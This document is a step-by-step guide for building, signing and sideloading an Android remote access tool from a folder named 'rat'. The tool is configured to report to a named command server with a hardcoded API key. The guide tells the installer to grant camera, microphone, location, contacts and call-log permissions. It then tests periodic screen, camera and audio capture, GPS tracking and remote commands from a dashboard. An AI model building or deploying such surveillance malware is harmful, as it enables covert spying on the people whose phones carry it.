# APK BUILDING INSTRUCTIONS FOR YOUR SETUP

## 🎯 YOUR CONFIGURATION
- Dashboard URL: http://mobiletr.upastithi.in/dashboard/
- API Base URL: http://mobiletr.upastithi.in/php/
- Database: swaminar_mobiletr
- API Key: monitoring_key_2024

## 📱 STEP-BY-STEP APK BUILDING

### Step 1: Fix Gradle Issues (IMPORTANT)
If you get Gradle dependency errors, run these commands first:

```bash
cd /home/kali/Desktop/rat/android/
./gradlew clean
./gradlew --stop
```

### Step 2: Open Android Studio
1. Launch Android Studio
2. Click "Open an existing Android Studio project"
3. Navigate to your project folder: `/home/kali/Desktop/rat/android/`
4. Select the `android` folder and click "OK"

### Step 3: Wait for Project Sync
- Android Studio will automatically sync the project
- Wait for "Gradle sync finished" message
- If prompted, accept any license agreements
- If sync fails, try: File → Sync Project with Gradle Files

### Step 4: Verify Configuration
The following files are already configured for your server:

✅ **MainActivity.kt** - Server URL is set to: `http://mobiletr.upastithi.in/php/`
✅ **HttpClient.kt** - API Key is set to: `monitoring_key_2024`

### Step 5: Build APK

#### Method 1: Build Debug APK (Recommended for Testing)
1. In Android Studio menu: **Build → Build Bundle(s) / APK(s) → Build APK(s)**
2. Wait for the build process to complete
3. You'll see a notification: "APK(s) generated successfully"
4. Click "locate" in the notification
5. The APK file will be at: `/home/kali/Desktop/rat/android/app/build/outputs/apk/debug/app-debug.apk`

#### Method 2: Build Release APK (For Production)
1. **Build → Generate Signed Bundle / APK**
2. Select "APK" and click "Next"
3. **Create new keystore**:
   - Click "Create new..."
   - Choose location: `/home/kali/Desktop/rat/android/app-release-key.jks`
   - Set password: `android123` (or your preferred password)
   - Key alias: `release-key`
   - Key password: `android123` (same as keystore password)
   - Validity: 25 years
   - Certificate info: Fill in your details
4. Click "OK" and "Next"
5. Select "release" build variant
6. Click "Create"
7. APK will be at: `/home/kali/Desktop/rat/android/app/build/outputs/apk/release/app-release.apk`

### Step 6: Install APK on Android Device

#### Option 1: USB Installation
1. Connect Android device to computer via USB
2. Enable "USB Debugging" in Developer Options
3. In terminal, run:
   ```bash
   cd /home/kali/Desktop/rat/android/app/build/outputs/apk/debug/
   adb install app-debug.apk
   ```

#### Option 2: Manual Installation
1. Copy APK file to your Android device
2. On Android device:
   - Settings → Security → Install Unknown Apps → Allow from source
   - Open APK file and install
3. Grant all permissions when prompted

### Step 7: Configure Android App

1. **Open the monitoring app** on your Android device
2. **Server URL should already be set** to: `http://mobiletr.upastithi.in/php/`
3. **Grant all permissions**:
   - Camera
   - Microphone
   - Location (Fine and Coarse)
   - Storage (Read/Write)
   - Call Log
   - Contacts
   - Phone State
   - Vibration
   - Notifications

4. **Tap "Start Monitoring"**
5. **Check dashboard**: http://mobiletr.upastithi.in/dashboard/
   - Your device should appear in the "Devices" tab within 30 seconds

## 🧪 TESTING YOUR SETUP

### Test 1: Device Connection
1. Open dashboard: http://mobiletr.upastithi.in/dashboard/
2. Login with your password
3. Go to "Devices" tab
4. Your device should appear with status "online"

### Test 2: Remote Commands
1. Go to "Remote Control" tab
2. Select your device from dropdown
3. Test commands:
   - Click "Vibrate" - device should vibrate
   - Click "Start Screen Stream" - check status changes to "Active"

### Test 3: Live Streaming
1. Start "Screen Stream" - should capture screenshots every 5 seconds
2. Start "Camera Stream" - should capture photos every 5 seconds
3. Start "Audio Stream" - should record audio clips every 10 seconds
4. Check "Live Views" section for updates

### Test 4: Data Collection
1. Make a test call on the device
2. Check "Call Logs" tab - should show the call
3. Move to different location
4. Check "Locations" tab - should show GPS updates

## 🔧 TROUBLESHOOTING

### If APK Build Fails:

#### Gradle Dependency Error (org.gradle.api.artifacts.Dependency):
1. **Run these commands in terminal**:
   ```bash
   cd /home/kali/Desktop/rat/android/
   ./gradlew clean
   ./gradlew --stop
   ```
2. **In Android Studio**:
   - File → Invalidate Caches and Restart
   - Build → Clean Project
   - Build → Rebuild Project

#### General Build Issues:
1. **Check Android Studio version** (should be latest)
2. **Update Gradle**: File → Settings → Build → Gradle → Use Gradle from: 'gradle-wrapper.properties'
3. **Clean project**: Build → Clean Project
4. **Rebuild**: Build → Rebuild Project
5. **Sync project**: File → Sync Project with Gradle Files

### If App Won't Connect:
1. **Check server URL** in app settings
2. **Verify internet connection** on device
3. **Test server manually**: Visit http://mobiletr.upastithi.in/php/api.php?action=devices
4. **Check firewall settings**

### If Dashboard Shows No Devices:
1. **Check device permissions** - all must be granted
2. **Restart monitoring service** in app
3. **Check server logs** for errors
4. **Verify database connection**

## 📋 QUICK COMMANDS

### Build APK via Terminal:
```bash
cd /home/kali/Desktop/rat/android/
./gradlew assembleDebug
```

### Install APK via ADB:
```bash
adb install app/build/outputs/apk/debug/app-debug.apk
```

### Check APK Details:
```bash
aapt dump badging app/build/outputs/apk/debug/app-debug.apk
```

## 🎯 FINAL CHECKLIST

Before using:
- [ ] APK builds successfully
- [ ] App installs on device
- [ ] All permissions granted
- [ ] App connects to server
- [ ] Device appears in dashboard
- [ ] Remote commands work
- [ ] Live streaming functions
- [ ] Data uploads correctly

## 📱 APP CONFIGURATION SUMMARY

Your Android app is configured with:
- **Server URL**: http://mobiletr.upastithi.in/php/
- **API Key**: monitoring_key_2024
- **Dashboard**: http://mobiletr.upastithi.in/dashboard/
- **Database**: swaminar_mobiletr

## 🔗 IMPORTANT LINKS

- **Dashboard**: http://mobiletr.upastithi.in/dashboard/
- **API Base**: http://mobiletr.upastithi.in/php/
- **Test Connection**: http://mobiletr.upastithi.in/php/api.php?action=devices

---

**✅ Your monitoring system is ready!** The Android app will automatically connect to your server and start monitoring the device once you install and run it.
